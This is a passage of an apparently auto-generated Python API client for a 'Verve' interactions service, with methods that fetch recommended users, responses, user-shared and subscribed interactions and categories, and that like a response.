query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_recommended_users_from_db(self, interaction_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of recommended Users from DB
Returns the list of recommended users from DB
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_recommended_users_from_db(interaction_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)userId 2)firstName 3)lastName 4)profileImage **A) Available values-** 1)userId 2)firstName 3)lastName 4)emailId 5)profileImage 6)birthDate */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseUserList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_recommended_users_from_db_with_http_info(interaction_id, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_recommended_users_from_db_with_http_info(interaction_id, start, end, requester_id, client_token, **kwargs)
return data
def get_recommended_users_from_db_with_http_info(self, interaction_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of recommended Users from DB
Returns the list of recommended users from DB
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_recommended_users_from_db_with_http_info(interaction_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)userId 2)firstName 3)lastName 4)profileImage **A) Available values-** 1)userId 2)firstName 3)lastName 4)emailId 5)profileImage 6)birthDate */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseUserList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'start', 'end', 'requester_id', 'client_token', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_recommended_users_from_db" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `get_recommended_users_from_db`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_recommended_users_from_db`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_recommended_users_from_db`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_recommended_users_from_db`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_recommended_users_from_db`")
resource_path = '/interactions/{interactionId}/recommendedUsers'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseUserList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_responses(self, interaction_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of responses by interactionId
Returns the list of responses by interactionId
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_responses(interaction_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponseList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_responses_with_http_info(interaction_id, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_responses_with_http_info(interaction_id, start, end, requester_id, client_token, **kwargs)
return data
def get_responses_with_http_info(self, interaction_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of responses by interactionId
Returns the list of responses by interactionId
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_responses_with_http_info(interaction_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponseList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'start', 'end', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_responses" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `get_responses`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_responses`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_responses`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_responses`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_responses`")
resource_path = '/interactions/{interactionId}/responses'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponseList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_user_interactions(self, user_id, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of interactions shared by user
Returns the list of interactions shared by specific user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_user_interactions(user_id, interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: userId whose shared interactions want to get (required)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param int category_id: categoryId
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_user_interactions_with_http_info(user_id, interaction_status, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_user_interactions_with_http_info(user_id, interaction_status, start, end, requester_id, client_token, **kwargs)
return data
def get_user_interactions_with_http_info(self, user_id, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of interactions shared by user
Returns the list of interactions shared by specific user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_user_interactions_with_http_info(user_id, interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: userId whose shared interactions want to get (required)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param int category_id: categoryId
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id', 'interaction_status', 'start', 'end', 'requester_id', 'client_token', 'category_id', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user_interactions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params) or (params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `get_user_interactions`")
# verify the required parameter 'interaction_status' is set
if ('interaction_status' not in params) or (params['interaction_status'] is None):
raise ValueError("Missing the required parameter `interaction_status` when calling `get_user_interactions`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_user_interactions`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_user_interactions`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_user_interactions`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_user_interactions`")
resource_path = '/interactions/{userId}/shared'.replace('{format}', 'json')
path_params = {}
if 'user_id' in params:
path_params['userId'] = params['user_id']
query_params = {}
if 'interaction_status' in params:
query_params['interactionStatus'] = params['interaction_status']
if 'category_id' in params:
query_params['categoryId'] = params['category_id']
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_user_subscribed_interaction_categories(self, user_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of interaction categories subscribed by the user
Returns the list of interaction categories subscribed by the user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_user_subscribed_interaction_categories(user_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: User Id whose subcripbed category want to get (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: interactionType
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategoryList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_user_subscribed_interaction_categories_with_http_info(user_id, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_user_subscribed_interaction_categories_with_http_info(user_id, start, end, requester_id, client_token, **kwargs)
return data
def get_user_subscribed_interaction_categories_with_http_info(self, user_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of interaction categories subscribed by the user
Returns the list of interaction categories subscribed by the user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_user_subscribed_interaction_categories_with_http_info(user_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: User Id whose subcripbed category want to get (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: interactionType
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategoryList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id', 'start', 'end', 'requester_id', 'client_token', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user_subscribed_interaction_categories" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params) or (params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `get_user_subscribed_interaction_categories`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_user_subscribed_interaction_categories`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_user_subscribed_interaction_categories`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_user_subscribed_interaction_categories`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_user_subscribed_interaction_categories`")
resource_path = '/interactions/categories/{userId}/subscribe'.replace('{format}', 'json')
path_params = {}
if 'user_id' in params:
path_params['userId'] = params['user_id']
query_params = {}
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionCategoryList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_user_subscribed_interactions(self, user_id, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of interactions subscribed by user
Returns the list of interactions subscribed by specific user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_user_subscribed_interactions(user_id, interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: User Id whose subcribed interactions wants to get (required)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param int category_id: categoryId
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_user_subscribed_interactions_with_http_info(user_id, interaction_status, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_user_subscribed_interactions_with_http_info(user_id, interaction_status, start, end, requester_id, client_token, **kwargs)
return data
def get_user_subscribed_interactions_with_http_info(self, user_id, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of interactions subscribed by user
Returns the list of interactions subscribed by specific user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_user_subscribed_interactions_with_http_info(user_id, interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: User Id whose subcribed interactions wants to get (required)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param int category_id: categoryId
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id', 'interaction_status', 'start', 'end', 'requester_id', 'client_token', 'category_id', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user_subscribed_interactions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params) or (params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `get_user_subscribed_interactions`")
# verify the required parameter 'interaction_status' is set
if ('interaction_status' not in params) or (params['interaction_status'] is None):
raise ValueError("Missing the required parameter `interaction_status` when calling `get_user_subscribed_interactions`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_user_subscribed_interactions`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_user_subscribed_interactions`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_user_subscribed_interactions`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_user_subscribed_interactions`")
resource_path = '/interactions/{userId}/subscribe'.replace('{format}', 'json')
path_params = {}
if 'user_id' in params:
path_params['userId'] = params['user_id']
query_params = {}
if 'interaction_status' in params:
query_params['interactionStatus'] = params['interaction_status']
if 'category_id' in params:
query_params['categoryId'] = params['category_id']
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def like_response(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Like response
Allows the user to like the response.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.like_response(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.like_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
else:
(data) = self.like_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
return data
def like_response_with_http_info(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Like response
Allows the user to like the response.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.like_response_with_http_info(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'response_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method like_response" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `like_response`")
# verify the required parameter 'response_id' is set
if ('response_id' not in params) or (params['response_id'] is None):
raise ValueError("Missing the required parameter `response_id` when calling `like_response`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `like_response`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `like_response`")
resource_path = '/interactions/{interactionId}/responses/{responseId}/like'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
if 'response_id' in params:
path_params['responseId'] = params['response_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def mark_as_an_response(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Mark response as a response
